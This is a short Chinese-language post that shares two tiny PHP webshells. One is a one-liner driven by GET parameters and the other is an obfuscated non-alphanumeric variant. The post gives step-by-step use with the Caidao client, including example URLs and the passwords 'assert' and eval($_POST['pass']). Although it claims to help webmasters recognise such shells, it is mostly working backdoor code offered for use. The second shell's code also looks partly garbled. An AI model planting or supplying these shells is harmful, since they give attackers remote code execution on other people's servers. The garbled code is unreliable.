注释:站长的任务又加重了，好好认识下，以后见了好清除

本来匿名发在土司上，现在应该传出去了，两个是来自国外的

http://h.ackack.net/tiny-php-shell.html

http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/

具体看国外的文章吧

第一种：1.php

<?=($_=@$_GET[2]).@$_($_GET[1])?>

在菜刀里写http://www.92hack.net/1.php?2=assert密码是1

第二种2.php

<?

$_="";

$_[+""]='';

$_="$_"."";

$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");

?>

<?=${'_'.$_}['_'](${'_'.$_}['__']);?>

在菜刀里写

https://www.webshell.cc/2.php?_=assert&__=eval($_POST['pass']) 密码是pass

这两种就可以直接用菜刀了。